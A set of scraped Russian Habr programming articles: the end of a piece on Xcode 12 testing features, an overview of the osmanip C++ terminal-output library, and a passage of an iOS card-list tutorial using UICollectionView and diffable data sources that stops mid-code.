И если хотите добавить дополнительное логирование, можно добавить вложение, приложить скриншот или вывод дебагера, как здесь. Это функция особенно полезна, если ваши тесты запускаются в CI/CD.
Подробнее [тут](https://developer.apple.com/videos/play/wwdc2020/10091).
Получайте результат тест рана быстрее
-------------------------------------
Обидно, когда утром в понедельник вы обнаруживаете, что запущенная в пятницу вечером длинная джоба так и не отработала до конца, зависнув на середине или вообще в самом начале. И вам предстоит начать рабочую неделю с разбора полетов: почему это произошло? Как избежать подобной ситуации в будущем? ~~Как я мог спустить девять тысяч на коктейли за один вечер?~~
В Xcode 12 появились инструменты для защиты от зависаний. Это новая опция тест плана Execution Time Allowance.
Когда опция включена, Xcode устанавливает временной лимит исполнения каждого теста.
Если лимит превышен, Xcode делает следующее:
1. Собирает отчет (spindump);
2. Убивает зависший тест;
3. Перезапускает тест раннер, чтобы оставшаяся часть сьюта смогла выполниться.
В отчете (spindump) отображается, какой из тредов, какой функции потратил наибольшее количество времени. Это позволит вам увидеть глазами бутылочное горлышко ваших тестов еще до того, как остынет ваш утренний кофе/ чай.
По дефолту на каждый тест выделяется по 10 минут, и если тест завершился быстрее, то для следующего теста таймер обнуляется. Если вам нужно больше/ меньше времени на каждый тест вашего тест сьюта, то можно изменить дефолтную величину в настройках тест плана.
Еще это можно сделать опцией команды xcodebuild:
```
xcodebuild option
-default-test-execution-time-allowance
```
Аналогично можно задать максимальное время выполнения теста:
```
xcodebuild option
-maximun-test-execution-time-allowance
```
Даже если вам нужно задать время выполнения для какого-то конкретного теста или тестового класса, то это тоже возможно с помощью executionTimeAllowance API:
```
Class XCTestCase: XCTest {
var executionTimeAllowance: TimeInterval // с округлением до минуты
}
```
Точная настройка выполнения того или иного теста позволит вам сэкономить время, но и это еще не все, что можно сделать для ускорения прохождения длинного тест сьюта.
Xcode 12 позволяет запускать тесты на нескольких девайсах одновременно. Эту фичу назвали Parallel Distributed Testing. Польза от запуска тестов на нескольких девайсах очевидна — приличная экономия времени.
Но, к сожалению, есть и подводные камни: порядок запуска тестов в параллели не детерминирован, нет никакой гарантии, что на девайсе #1 после теста номер 5, будет выполнен тест номер 6. Этот факт обязательно нужно учитывать при планировании запуска тестов с помощью Parallel Distributed Testing.
Вообще идея запусков тестов в параллели не нова. Такая возможность была и до Xcode 12, но именно в Xcode 12 появилась возможность запускать тесты на реальных девайсах (пока только с помощью xcodebuild).
Команда для запуска параллельных распределенных тестов выглядит следующим образом:
```
xcodebuild test
-project MyProject.xcodeproj
-scheme MyProject
-parallel-testing-enabled YES
-parallelize-test-among-desinations
-destination 'platform=iOS,name=iPhone 11'
-destination 'platform=iOS,name=iPad pro'
```
Подробнее [тут](https://developer.apple.com/videos/play/wwdc2020/10221).
На этом обзор новых тесто-фич с WWDC 2020 закончен. Спасибо, что дочитали до конца.
Надеюсь, эта статья будет вам полезной. Happy testing! | https://habr.com/ru/post/509432/ | null | ru | null |
# Библиотека вывода с использованием escape-последовательностей
[](https://habr.com/ru/company/ruvds/blog/679758/)
Osmanip – это библиотека C++, предоставляющая полезные механизмы для работы с [управляющими последовательностями ANSI](https://gist.github.com/fnky/458719343aabd01cfb17a3a4f7296797) и настройки потока вывода программ. С помощью этих механизмов вы можете оформлять выводимые строки различными цветами и стилями, изменять расположение курсора в терминале и регулировать прочие компоненты вроде индикаторов выполнения и графики. Весь этот функционал будет очень полезен для придания желаемого вида общему потоку вывода программы или для выполнения операций с курсором.
* [скачать последний архив репозитория](https://github.com/JustWhit3/osmanip/archive/main.zip);
* [скачать локальную копию](https://www.codeproject.com/KB/Articles/5337124/main.zip).
Если вы захотите использовать это ПО в своём проекте или упомянуть в статье, будьте добры, указывайте на его [ссылку](https://github.com/JustWhit3/osmanip/blob/main/CITATION.cff).
Если у вас возникнет желание внести свой вклад в репозиторий, сначала прочтите [этот файл](https://github.com/JustWhit3/osmanip/blob/main/CONTRIBUTING.md).
Документация кода сгенерирована при помощи [Doxygen](https://www.doxygen.nl/manual/starting.html) и доступна [здесь](https://justwhit3.github.io/osmanip/). Помимо этого, есть ещё [справочная страница GitHub](https://github.com/JustWhit3/osmanip/wiki), которая содержит дополнительные практические инструкции и множество примеров.
Вот некоторые из них:
*Цвета и стили*
*Индикаторы выполнения*
*Двухмерная графика в терминале*
Поддерживаемые ОС:
* Linux;
+ Ubuntu (протестировано);
* Windows (версия 10 и выше);
+ Cygwin64 (протестировано);
+ MSYS2 (протестировано);
+ MinGW (протестировано);
+ WSL (протестировано);
* MacOS.
▍ Новости последних релизов
---------------------------
* добавлен класс `[OS\_Decorator](https://github.com/JustWhit3/osmanip/blob/main/include/manipulators/printer.hpp#:~:text=*/-,class%20OS_Decorator,-%7B)` для удобства управления стилизацией потока вывода программы;
* добавлена справочная страница библиотеки;
* добавлена полная поддержка Windows и MacOS;
Список возможностей
-------------------
### ▍ Механизмы работы с escape-последовательностями ANSI
[Управление цветом и стилем](https://github.com/JustWhit3/osmanip/wiki/ANSI-escape-sequences-manipulators#colors-and-styles-manipulators):
```
#include
#include
// Вывод красной строки
std::cout << osm::feat( osm::col, "red" ) <<
"This string is red!" << osm::feat( osm::rst, "color" );
// Вывод жирной строки
std::cout << osm::feat( osm::sty, "red" ) <<
"This string is bold!" << osm::feat( osm::rst, "bd/ft" );
```
[Управление курсором](https://github.com/JustWhit3/osmanip/wiki/ANSI-escape-sequences-manipulators#cursor-manipulators):
```
#include
#include
// Перемещение курсора вправо на два пробела
std::cout << osm::feat( osm::crs, "right", 2 ) << "Cursor moved!";
```
[Управляющие последовательности для терминала](https://github.com/JustWhit3/osmanip/wiki/ANSI-escape-sequences-manipulators#terminal-control-sequences):
```
#include
#include
// Вывод звука колокольчика
std::cout << osm::feat( osm::tcs, "bell" );
```
[Дополнительные функции](https://github.com/JustWhit3/osmanip/wiki/ANSI-escape-sequences-manipulators#the-osmprint-function):
```
#include
#include
// Аналог Python функции "print"
osm::print( std::cout, "This is the ", "\"print\" ",
"function for the normal output stream! ", 100, "% working!" );
```
[Класс для управления стилизацией вывода программы](https://github.com/JustWhit3/osmanip/wiki/ANSI-escape-sequences-manipulators#the-osmprint-function:~:text=osm%3A%3AOS_Decorator%20class-,Can%20be%20accessed%20with%3A,-%23include%20%3C):
```
#include
#include
osm::OS\_Decorator my\_shell;
// Изменение предопределённого стиля и цвета std::cout
my\_shell.setColor( "green", std::cout );
my\_shell.setStyle( "underlined", std::cout );
my\_shell( std::cout ) << "The stdout stream has been changed
using the OS\_Decorator class!" << "\n";
// Изменение предопределённого стиля и цвета std::cerr
my\_shell.setColor( "red", std::cerr );
my\_shell.setStyle( "bold italics", std::cerr ); // Примечание: добавлено 2 стиля
my\_shell( std::cerr ) << "The stderr stream has been changed
using the OS\_Decorator class!" << "\n";
```
Дополнительные примеры и инструкции можно найти [здесь](https://github.com/JustWhit3/osmanip/wiki/ANSI-escape-sequences-manipulators).
Почему для работы с escape-последовательностями стоит выбрать именно эту библиотеку:
* все функции использования этих последовательностей очень просты в использовании и не требуют сложных сигнатур кода.
* можно работать со всеми самыми популярными последовательностями.
* с помощью класса OS Decorator можно устанавливать стиль вывода в начале программы, сохраняя его неизменным до ее завершения.
### ▍ Индикаторы выполнения
[Процентный индикатор](https://github.com/JustWhit3/osmanip/wiki/Progress-bars#percentage-indicator):
```
#include
#include
#include
osm::ProgressBar percentage\_bar;
percentage\_bar.setMin( 5 );
percentage\_bar.setMax ( 46 );
percentage\_bar.setStyle( "indicator", "%" );
std::cout << "This is a normal percentage bar: " << "\n";
osm::OPTION( osm::CURSOR::OFF ); // Сокрытие курсора для лучшей отрисовки вывода
for ( int i = percentage\_bar.getMin(); i < percentage\_bar.getMax(); i++ )
{
percentage\_bar.update( i );
//Выполнение операций...
}
osm::OPTION( osm::CURSOR::ON );
```
[Индикатор загрузки](https://github.com/JustWhit3/osmanip/wiki/Progress-bars#loading-bar):
```
#include
#include
#include
osm::ProgressBar loading\_bar( 3, 25 );
loading\_bar.setStyle( "loader", "#" );
loading\_bar.setBrackets( "{", "}" );
loading\_bar.setMessage( "processing..." );
std::cout << "This is a normal loading bar: " << "\n";
osm::OPTION( osm::CURSOR::OFF ); // Сокрытие курсора для лучшей отрисовки вывода
for ( int i = loading\_bar.getMin(); i < loading\_bar.getMax(); i++ )
{
loading\_bar.update( i );
//Выполнение операций...
}
osm::OPTION( osm::CURSOR::ON );
```
[Смешанный прогресс бар](https://github.com/JustWhit3/osmanip/wiki/Progress-bars#full-progress-bar):
```
#include
#include
#include
osm::ProgressBar progress\_bar( 3, 25 );
progress\_bar.setStyle( "complete", "%", "■" );
progress\_bar.setBrackets( "[", "]" );
progress\_bar.setMessage( "elaborating..." );
progress\_bar.setRemainingTimeFlag( "on" );
progress\_bar.setColor( "red" );
std::cout << "This is a mixed progress bar with color
and time remaining info: " << "\n";
osm::OPTION( osm::CURSOR::OFF ); // Сокрытие курсора для лучшей отрисовки вывода
for ( int i = progress\_bar.getMin(); i < progress\_bar.getMax(); i++ )
{
progress\_bar.update( i );
//Выполнение операций...
}
osm::OPTION( osm::CURSOR::ON );
```
[Спиннер](https://github.com/JustWhit3/osmanip/wiki/Progress-bars#progress-spinner):
```
#include
#include
#include
osm::ProgressBar spinner;
spinner.setMin( 2 );
spinner.setMax ( 33 );
spinner.setStyle( "spinner", "/-\\|" );
std::cout << "This is a progress spinner: " << "\n";
osm::OPTION( osm::CURSOR::OFF ); // Сокрытие курсора для лучшей отрисовки вывода
for ( int i = spinner.getMin(); i < spinner.getMax(); i++ )
{
spinner.update( i );
//Выполнение операций...
}
osm::OPTION( osm::CURSOR::ON );
```
Дополнительные примеры и инструкции можно найти [здесь](https://github.com/JustWhit3/osmanip/wiki/Progress-bars).
Преимущества использования именно этой библиотеки для реализации индикаторов выполнения:
* крайняя простота применения;
* поддерживает положительные и отрицательные переменные любого стандартного типа (`integer`, `float`, `double` и прочих);
* в качестве максимума и минимума можно установить любые нужные значения, и индикатор будет построен относительно них;
* каждый элемент индикатора настраивается (сообщения, стиль, цвет, тип скобок, оставшееся время и т.д.). Также можно использовать вместо смешанного прогресс бара только индикацию выполнения или загрузки.
* потокобезопасность, то есть можно одновременно использовать множество индикаторов выполнения.
### ▍ Графика в терминале
[Создание анимаций](https://github.com/JustWhit3/osmanip/wiki/Terminal-graphics#canvases):
```
#include
#include
osm::Canvas canvas(10,10);
canvas.setBackground( '.', osm::feat( osm::col, "bg white" ) +
osm::feat( osm::col, "black" ) );
std::cout << "Display an animation in a canvas\n";
for( uint i = 0; i < 10; i++ )
{
canvas.clear();
canvas.put( 0, 2, 'x' );
canvas.put( i, 3, 'A', osm::feat( osm::col, "red" ) );
canvas.put( 5, 0, 'B', osm::feat( osm::col, "blue" ) );
canvas.put( 7, 8, 'Z', osm::feat( osm::col, "bg cyan" ) +
osm::feat( osm::col, "black" ) + osm::feat( osm::sty, "bold" ) );
canvas.refresh();
}
```
[Построение 2D-графиков](https://github.com/JustWhit3/osmanip/wiki/Terminal-graphics#2D-graphics):
```
#include
#include
#include
osm::Plot2DCanvas plot\_2d\_canvas( 50, 20 );
std::cout << "\n" << "Plot2DCanvas with sin and cos" << "\n";
plot\_2d\_canvas.setBackground( ' ', osm::feat( osm::col, "bg white" ) );
plot\_2d\_canvas.enableFrame( true );
plot\_2d\_canvas.setFrame( osm::FrameStyle::BOX,
osm::feat( osm::col, "bg white" ) + osm::feat( osm::col, "black" ) );
plot\_2d\_canvas.enableFrame( true );
plot\_2d\_canvas.setFrame( osm::FrameStyle::BOX,
osm::feat( osm::col, "bg white" ) + osm::feat( osm::col, "black" ) );
plot\_2d\_canvas.setScale( 1/3.14, 0.2) ;
for( float i = 0; i < 40; i++ )
{
plot\_2d\_canvas.setOffset( i/3.14, -2 );
plot\_2d\_canvas.clear();
plot\_2d\_canvas.draw( std::function ( []( float x ) ->
float{ return std::cos( x ); } ), 'X',
osm::feat( osm::col, "bg white" ) +
osm::feat( osm::col, "bd red" ) );
plot\_2d\_canvas.draw( std::function ( []( float x ) ->
float{ return std::sin( x ); } ), 'X',
osm::feat( osm::col, "bg white" ) +
osm::feat( osm::col, "bd blue" ) );
plot\_2d\_canvas.refresh();
sleep\_for( milliseconds( 100 ) );
}
```
Дополнительные примеры и инструкции можно найти [здесь](https://github.com/JustWhit3/osmanip/wiki/Terminal-graphics).
Преимущества реализации графики в терминале с помощью этой библиотеки:
* подобный функционал обеспечивается очень немногими библиотеками C++, и эта одна из них;
* высокий уровень кастомизируемости;
* более шустрая и удобная альтернатива отрисовке графиков простых функций без потребности в GUI.
### ▍ Дополнительная поддержка UNICODE и ANSI в Windows
```
// Активация escape-последовательностей ANSI
osm::OPTION( osm::ANSI::ON );
// выполнение нужных действий...
osm::OPTION( osm::ANSI::ON );
// Активация символов unicode
osm::OPTION( osm::UNICODECH::ON );
// выполнение нужных действий...
osm::OPTION( osm::UNICODECH::ON );
```
Дополнительные примеры и инструкции можно найти [здесь](https://github.com/JustWhit3/osmanip/wiki/Options).
Установка и использование
-------------------------
### ▍ Установка
1. Скачать один из [релизов](https://github.com/JustWhit3/osmanip/releases) репозитория.
2. Распаковать архив и открыть каталог.
3. Установить и скомпилировать библиотеку с зависимостями при помощи установочного скрипта.
```
./script/install.sh
```
Этот скрипт поддерживает установку под Ubuntu, MacOS, Windows и прочими операционными системами.
> *Примечание*: если вы работаете в Cygwin64, то можете получить ошибку, связанную с символом `\r`. Чтобы её избежать, предварительно выполните для скрипта команду `dos2unix`.
В результате в каталоге */usr/lib* создаётся новая библиотека, а файлы заголовков устанавливаются по пути */usr/include*.
> *Примечание*: если вы работаете в MacOS или Windows, пути будут несколько отличаться (см. *install.sh*).
Обязательные программы (устанавливаются автоматически скриптом):
* C++17;
* компилятор g++ (последняя протестированная версия 9.3.0);
* [GNU make](https://www.opensourceforu.com/2012/06/gnu-make-in-detail-for-beginners/#:~:text=Installing%20GNU%20Make,install%20build%2Dessential.);
* [библиотека Boost](https://www.boost.org/);
* [библиотека arsenalgear](https://github.com/JustWhit3/arsenalgear-cpp).
Необязательные программы, для разработчиков:
* [Valgrind](https://valgrind.org/) для запуска скрипта *debug.sh*;
* [Cppcheck](https://github.com/danmar/cppcheck) для запуска скрипта *debug.sh*;
* [Clang formatter](https://stackoverflow.com/questions/20756924/how-can-i-install-clang-format-in-ubuntu#:~:text=16.04%2C%20simply%20do%3A-,sudo%20apt%20install%20clang%2Dformat,-Share) для подготовки кода к пул-реквестам;
* [wget](https://www.techwalla.com/articles/how-to-install-wget-in-ubuntu) для скачивания дополнительных репозиториев зависимостей;
* [unzip](https://www.mysoftkey.com/linux/how-to-do-zip-and-unzip-file-in-ubuntu-linux/) для распаковки архивных каталогов во время скачивания и установки;
* [Doxygen](https://www.doxygen.nl/manual/starting.html) для генерации документации при разработке;
* [doctest](https://github.com/onqtam/doctest) для тестирования;
* [hurry.filesize](https://pypi.org/project/hurry.filesize/) для скрипта *size\_of\_dir.py*;
* [termcolor](https://pypi.org/project/termcolor/) для скрипта *size\_of\_dir.py*.
4. *Дополнительно*: для периодического обновления репозитория:
```
./scripts/update.sh
./scripts/install.sh
```
5. *Дополнительно*: для деинсталляции репозитория из системы:
```
./scripts/uninstall.sh
```
### ▍ Использование на вашем устройстве
Для использования одного или более заголовков библиотеки:
```
#include
```
В случае использования библиотеки в программе добавьте флаг `-losmanip` для линковки исходного кода.
> *Примечание*: не забудьте также добавить флаг `-pthread`, если хотите использовать потокозависимые библиотеки вроде [*progressbar/multi\_progress\_bar.hpp*](https://github.com/JustWhit3/osmanip/blob/main/include/progressbar/multi_progress_bar.hpp).
### ▍ Компиляция примеров и тестирование
Компиляция примеров:
```
make main
```
Запуск примеров:
```
./bin/manipulators
./bin/progressbar
./bin/graphics
```
> *Примечание*: если вы работаете в Windows, исполняемые файлы оканчиваются на *.exe*.
Компиляция тестов:
```
make tests
```
Запуск тестов:
```
./bin/tests
```
Также есть вариант вернуться обратно в состояние до компиляции. Для этого просто выполните:
```
make clean
```
▍ Полезные скрипты
------------------
Я добавил кое-какие дополнительные полезные скрипты в каталог [scripts](https://github.com/JustWhit3/osmanip/blob/main/scripts). После компиляции исходного кода их можно будет запустить из домашнего каталога репозитория.
Скрипт *debug.sh* используется для запуска отладчиков Valgrind и Cppcheck для всего кода.
Valgrind можно запустить через отдельный исполняемый файл:
```
./scripts/debug_cpp.sh [valgrind-tool-name] [executable-name]
```
**Структура репозитория**
```
osmanip/
├── .github/
│ ├── workflows/
│ │ ├── DocGenerator.yml
│ │ ├── codeql-analysis.yml
├── img/
├── include/
│ ├── graphics/
│ │ ├── canvas.hpp
│ │ ├── plot_2D.hpp
│ ├── manipulators/
│ │ ├── colsty.hpp
│ │ ├── cursor.hpp
│ │ ├── common.hpp
│ │ ├── printer.hpp
│ ├── progressbar/
│ │ ├── progress_bar.hpp
│ │ ├── multi_progress_bar.hpp
│ ├── utility/
│ │ ├── windows.hpp
│ │ ├── options.hpp
├── src/
│ ├── graphics/
│ │ ├── canvas.cpp
│ │ ├── plot_2D.cpp
│ ├── manipulators/
│ │ ├── colsty.cpp
│ │ ├── cursor.cpp
│ │ ├── common.cpp
│ │ ├── printer.hpp
│ ├── progressbar/
│ │ ├── progress_bar.cpp
│ │ ├── multi_progress_bar.cpp
│ ├── utility/
│ │ ├── windows.cpp
├── examples/
│ ├── manipulators.cpp
│ ├── progressbar.cpp
│ ├── graphics.cpp
├── scripts/
│ ├── debug.sh
│ ├── install.sh
│ ├── uninstall.sh
│ ├── update.sh
│ ├── size_of_dir.py
├── test/
│ ├── graphics/
│ │ ├── tests_canvas.cpp
│ │ ├── tests_plot_2D.cpp
│ ├── manipulators/
│ │ ├── tests_common.cpp
│ │ ├── tests_colsty.cpp
│ │ ├── tests_cursor.cpp
│ │ ├── tests_printer.cpp
│ ├── progressbar/
│ │ ├── tests_progress_bar.cpp
│ │ ├── tests_multi_progress_bar.cpp
│── README.md
│── CONTRIBUTING.md
│── LICENSE
│── CITATION.cff
│── Makefile
│── Doxyfile
│── .gitignore
│── .clang-format
│── .valgrindrc
│── .gitignore
│── .all-contributorsrc
```
▍ Дальнейшие планы
------------------
* Работа с escape-последовательностями ANSI:
+ добавить механизмы работы с символами UNICODE;
+ добавить в класс `OS_decorator` новые методы;
+ реализовать перенаправление файлов при работе с выводом.
* Индикаторы выполнения:
+ добавить метод `elapsedTime()` для отображения пройденного времени выполнения, заменив им существующий метод `getTime()`;
* Графика для терминала:
+ добавить метод для сопровождения графиков легендой;
+ добавить автоматическое изменение размера графика;
+ добавить опцию отображения осей;
+ расширить 2D графику до 3D;
* Системный функционал:
+ улучшить компиляцию с помощью CMake;
+ сравнить библиотеку с аналогами на основе бенчмарков и прочих исследований.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=Bright_Translate&utm_content=biblioteka_vyvoda_s_ispolzovaniem_escape_posledovatelnostej) | https://habr.com/ru/post/679758/ | null | ru | null |
# Controller, но не Massive: реализуем список карточек для iOS 13+ и 11+ с учетом практик чистого кода
Привет, Хабр! Меня зовут Евгений, я ведущий iOS-разработчик в Туту. В нашем продукте список карточек используется неоднократно, а в проекте можно встретить несколько вариантов реализации для разных версий SDK:
* Через старую добрую UITableView.
* С использованием UICollectionView и UICollectionViewFlowLayout под iOS 11+.
* На связке UICollectionView и UICollectionViewCompositionalLayout для iOS 13+.
Не так давно я решил резюмировать накопленный опыт реализации списка карточек и поделиться наработками в виде исходников на Github (их вы найдете в конце статьи).
### Первый заход: UITableView
Одна из первых реализаций списка карточек в приложении выглядит следующим образом:
1. Берём UITableView.
2. Размещаем в ячейке на заднем фоне RoundedView, для которой можно установить цвет фона, параметры закругления и тени. В ТableView(\_:cellForRowAt:) задаём значение СornerRaduis и направление тени для первой и последней ячейки в секции.
3. В низ ячейки добавляем сепаратор — вьюшку, залитую цветом с фиксированной высотой, которую будем скрывать в ТableView(\_:cellForRowAt:), если элемент является последним.
В результате получаем составную карточку:
Как это представлено в коде?
```
// Один из вариантов реализации tableView(_:cellForRowAt:)
func tableView(
_ tableView: UITableView,
cellForRowAt indexPath: IndexPath
) -> UITableViewCell {
let item = dataSource[indexPath.section][indexPath.row]
let cell: TripCell = tableView.dequeueReusableCell(for: indexPath)
var cellPosition: TripCell.CellPosition
let totalRows = tableView.numberOfRows(inSection: indexPath.section)
if totalRows == 1 {
cellPosition = .single
} else if indexPath.row == 0 {
cellPosition = .top
} else if indexPath.row == totalRows - 1 {
cellPosition = .bottom
} else {
cellPosition = .middle
}
cell.render(item, cellPosition: cellPosition)
return cell
}
```
```
// Устанавливаем параметры для корректного отображения
// карточки внутри ячейки
class TripCell: UITableViewCell {
// ...
override func layoutSubviews() {
super.layoutSubviews()
switch cellPosition {
case .top:
addTopCorners(withRadius: 15)
_addSeparator()
case .middle:
addTopCorners(withRadius: 0)
addBottomCorners(withRadius: 0)
_addSeparator()
case .bottom:
addBottomCorners(withRadius: 15)
case .one:
addTopAndBottomCorners(withRadius: 15)
}
}
}
```
Наша первая реализация имеет ряд ограничений, в частности:
1. ViewController является делегатом и датасорсом для таблицы, что противоречит open–closed principle. Если нам потребуется изменить класс ячейки или добавить новый вид ячеек, придётся залезать внутрь контроллера.
> Принцип декларирует, что программные сущности (классы, модули, функции и т.п.) должны быть открыты для расширения, но закрыты для изменения.
>
>
2. Каждый тип ячейки, используемый в списке, является частью карточки. На практике это часто приводит к дублированию кода между классами ячеек — принцип DRY.
> Don't Repeat Youself — принцип заключается в том, что нужно избегать повторений одного и того же кода.
>
>
3. Достаточно сложно подобрать правильные параметры тени для карточки, так как она не является цельной как у дизайнеров в Figma. Также нужно учитывать, что тень карточки находится внутри ячейки и необходимо предоставить место для её отображения, чтобы её не обрезало.
4. Одним из преимуществ UITableView над UICollectionView является возможность удаления элемента списка свайпом. В текущем подходе у нас возникли проблемы с закруглениями для первой и последней ячейки.
> Для решения этой проблемы мы использовали вспомогательные ячейки для первой и последней позиции в секции, предоставляющие тень и закругление. Для таких ячеек отключена возможность свайпа.
>
>
Стоит отметить и преимущества данного решения: **работает для всех версий SDK и просто в реализации.**
### Предпосылки эволюции
Предыдущее решение является простым, но недостаточно гибким и удобным.
Из первого ограничения следует желание вынести DataSource в отдельную сущность, тем самым разгрузив контроллер от лишней ответственности. Яркими примерами реализации подхода являются RxDataSource и UITableViewDiffableDataSource /UICollectionViewDiffableDataSource.
Второй пункт наводит нас на мысль, что классы ячеек не должны зависеть от способа представления списка. Нам необходимо вынести логику по отрисовке карточки за рамки ячеек, тем самым снизив дублирование кода. На этом этапе мы решили расстаться с UITableView в пользу UICollectionView.
Решение для третьей проблемы вытекает из предыдущего пункта. Если карточка является цельной, то и настройки для неё задаются один раз. На сдачу мы можем более точно отрисовать тень карточки в соответствии с дизайном.
Что касается удаления свайпом, то им пришлось пожертвовать. Возможность удаления свайпом в UICollectionView открывается для iOS 14+.
В результате должно получиться следующее представление:
### Реализуем список карточек на UICollectionView под iOS 11+
Второй этап эволюции — карточки для списка заказов. Решение по своей концепции похоже на представленное ниже для iOS 13, с небольшими отличиями в инструментах.
Вместо эплового DiffableDataSource используем RxDataSource, а UICollectionViewCompositionalLayout заменяет UICollectionViewFlowLayout в паре с декораторами, представленными UICollectionViewLayoutAttributes.
### Реализуем список карточек на UICollectionView под iOS 13+
Довольно часто на практике, несмотря на использование различных архитектурных паттернов, ViewController всё равно выглядит достаточно массивным. Причиной этого является нарушение принципа single responsibility . Но если всё же строго следовать принципу, то для отображения списка карточек нам потребуется 20+ строчек кода:
```
final class PassengersViewController: UIViewController {
private lazy var _passengersView = PassengersView()
private var _dataSource: PassengersDataSource
init(dataSourceFactory: DataSourceFactory) {
self._dataSource = dataSourceFactory(
_passengersView.collectionView
)
super.init(nibName: nil, bundle: nil)
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
override func loadView() {
view = _passengersView
}
}
```
Из сниппета следует следующее:
* Контроллер не занимается вёрсткой, вёрстка представлена рутовой вью.
* Контроллер не датасорсит коллекцию, используем выделенную сущность PassengersDataSource.
* Реализуем dependency inversion посредством инъекции датасорса для уменьшения связанности объектов.
Выделение вёрстки в отдельный класс UIView не является обязательным и используется нечасто. Но, несомненно, такой простой подход может значительно снизить нагрузку на контроллер. Всё, что нам нужно для отображения списка, представлено в PassengersView:
```
final class PassengersView: UIView {
let collectionView: UICollectionView = {
let collectionView = UICollectionView(
frame: .zero,
collectionViewLayout: .passengersLayout
)
collectionView.backgroundColor = UIColor(named: .backgroundQuaternary)
return collectionView
}()
override init(frame: CGRect) {
super.init(frame: frame)
_setupSubviews()
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
private func _setupSubviews() {
addSubview(collectionView, constraints: .allAnchors)
}
}
```
Однако **Single Responsibility** приводит к появлению дополнительных сущностей: PassengersDataSource и PassengersLayout:
**PassengersLayout** Как должен выглядеть список? Какого размера должны быть элементы списка? За это отвечает UICollectionViewLayout. Помимо этого c iOS 13+ UICollectionViewLayout позволяет добавлять декораторы как для элемента группы, так и для всей секции. В нашем случае декораторами являются: **карточка**, **сепаратор** и **заголовок секции**.
Для создания PassengersLayout используется **фабричный метод**, позволяющий управлять созданием лайаута вдали от нашего вью контроллера:
```
extension UICollectionViewLayout {
static var passengersLayout: UICollectionViewLayout {
let item = _makeItem()
let group = _makeGroup(for: item)
let section = _makeSection(for: group)
let layout = _makeLayout(for: section)
return layout
}
}
```
Для отображения списка карточек нам необходимо:
* При создании элемента списка в \_makeItem() добавить сепаратор вниз ячейки:
```
private func _makeItem() -> NSCollectionLayoutItem {
let itemSize = NSCollectionLayoutSize(
widthDimension: .fractionalWidth(1.0),
heightDimension: NSCollectionLayoutDimension.estimated(44)
)
return NSCollectionLayoutItem(
layoutSize: itemSize,
// Для каждого элемента добавляем сепаратор
supplementaryItems: [.separator]
)
}
```
* При создании секции в \_makeSection(for: group) подложить карточку на задний фон и добавить заголовок:
```
private func _makeSection(
for group: NSCollectionLayoutGroup
) -> NSCollectionLayoutSection {
let section = NSCollectionLayoutSection(group: group)
section.interGroupSpacing = 1
// Добавляем карточку на задний фон секции
section.decorationItems = [
.background(
elementKind: PassengersSupplementaryViewKind.background
)
]
// Добавляем заголовок для секции
section.boundarySupplementaryItems = [.header]
return section
}
```
* При создании лайаута в \_makeLayout(for: section) зарегистрировать класс, представляющий карточку:
```
private func _makeSection(
for group: NSCollectionLayoutGroup
) -> NSCollectionLayoutSection {
let section = NSCollectionLayoutSection(group: group)
section.interGroupSpacing = 1
// Добавляем карточку на задний фон секции
section.decorationItems = [
.background(
elementKind: PassengersSupplementaryViewKind.background
)
]
// Добавляем заголовок для секции
section.boundarySupplementaryItems = [.header]
return section
}
```
Используемые декораторы можно разделить на два типа:
* SupplementaryView (заголовки и сепараторы).
* DecorationView (карточка).
Коллекция позволяет максимально гибко работать с SupplementaryView. Всё, что мы сообщили про наши SupplementaryView-коллекции, это **позицию** вью, **размер** и **идентификатор**. Конкретную реализацию будет предоставлять наш PassengersDataSource.
### PassengersDataSource
В iOS 13 на помощь к MassiveViewController приходит UITableViewDiffableDataSource и UICollectionViewDiffableDataSource. Помимо преследования **SRP**, Apple значительно упростил обновление элементов списка.
Для создания DataSource нам потребуется коллекция и провайдер ячеек init(collectionView :cellProvider:).
PassengersDataSource является алиасом для UICollectionViewDiffableDataSource с заданным типом модели для заголовка PassengerSectionHeaderView .ViewState и для ячейки PassengerCell.ViewState.
```
typealias PassengersDataSource = UICollectionViewDiffableDataSource<
PassengerSectionHeaderView.ViewState,
PassengerCell.ViewState
>
```
Осталось сообщить датасорсу, как создавать ячейки, карточку и сепаратор.
```
extension PassengersDataSource {
convenience init(
collectionView: UICollectionView
) {
self.init(
collectionView: collectionView,
cellProvider: PassengerCellProviderImpl(),
supplementaryViewProvider: PassengersViewProviderImpl.init
)
}
}
```
Продолжая разделять ответственность, получаем ещё две cущности:
PassengerCellProvider и PassengersViewProvider:
### PassengerCellProvider
Структуру провайдера ячеек нам задаёт сам DataSource в виде замыкания:
```
```
Чаще всего регистрация ячеек находится во вью контроллере, что в нашем случае приведёт к нарушению **принципа подстановки Барбары Лисков**. Если мы добавим новый тип ячеек, то получим знакомый краш в рантайме. Поэтому регистрацию ячеек необходимо проводить непосредственно перед созданием провайдера:
```
struct PassengerCellProviderImpl: PassengersCellProvider {
func make(
for collectionView: UICollectionView
) -> PassengersDataSource.CellProvider {
// Регистрируем ячейку
collectionView.register(class: PassengerCell.self)
// Возвращаем провайдер
return { collectionView, indexPath, viewState in
let cell: PassengerCell = collectionView.dequeueReusableCell(
for: indexPath
)
cell.render(viewState)
return cell
}
}
}
```
### PassengersViewProvider
Для создания заголовков секции и сепаратора используется тот же подход, что при создании ячейки. Нам необходим провайдер, который будет регистрировать и предоставлять метод конфигурации SupplementaryView.
```
struct HeaderPassengersViewProvider: ChildPassengersViewProvider {
private let _dataSource: DataSource
var kind: String { PassengersSupplementaryViewKind.header }
// Для конфигурации заголовка нам нужен доступ к dataSource
init(dataSource: DataSource) {
_dataSource = dataSource
}
func make(
for collectionView: UICollectionView
) -> DataSource.SupplementaryViewProvider {
// Регистрируем вью заголовка
collectionView.register(
class: PassengerSectionHeaderView.self,
forSupplementaryViewOfKind: kind
)
// Возвращаем провайдер
return { collectionView, kind, indexPath in
let header: PassengerSectionHeaderView = collectionView
.dequeueReusableSupplementaryView(
ofKind: kind,
for: indexPath
)
// Получаем стейт для заголовка по индексу секции
let viewState = _dataSource.snapshot()
.sectionIdentifiers[indexPath.section]
// Конфигурируем вьюшку
header.render(viewState)
return header
}
}
}
```
```
struct SeparatorPassengersViewProvider: ChildPassengersViewProvider {
// Устанавливаем тип вьюшки
var kind: String { PassengersSupplementaryViewKind.separator }
func make(
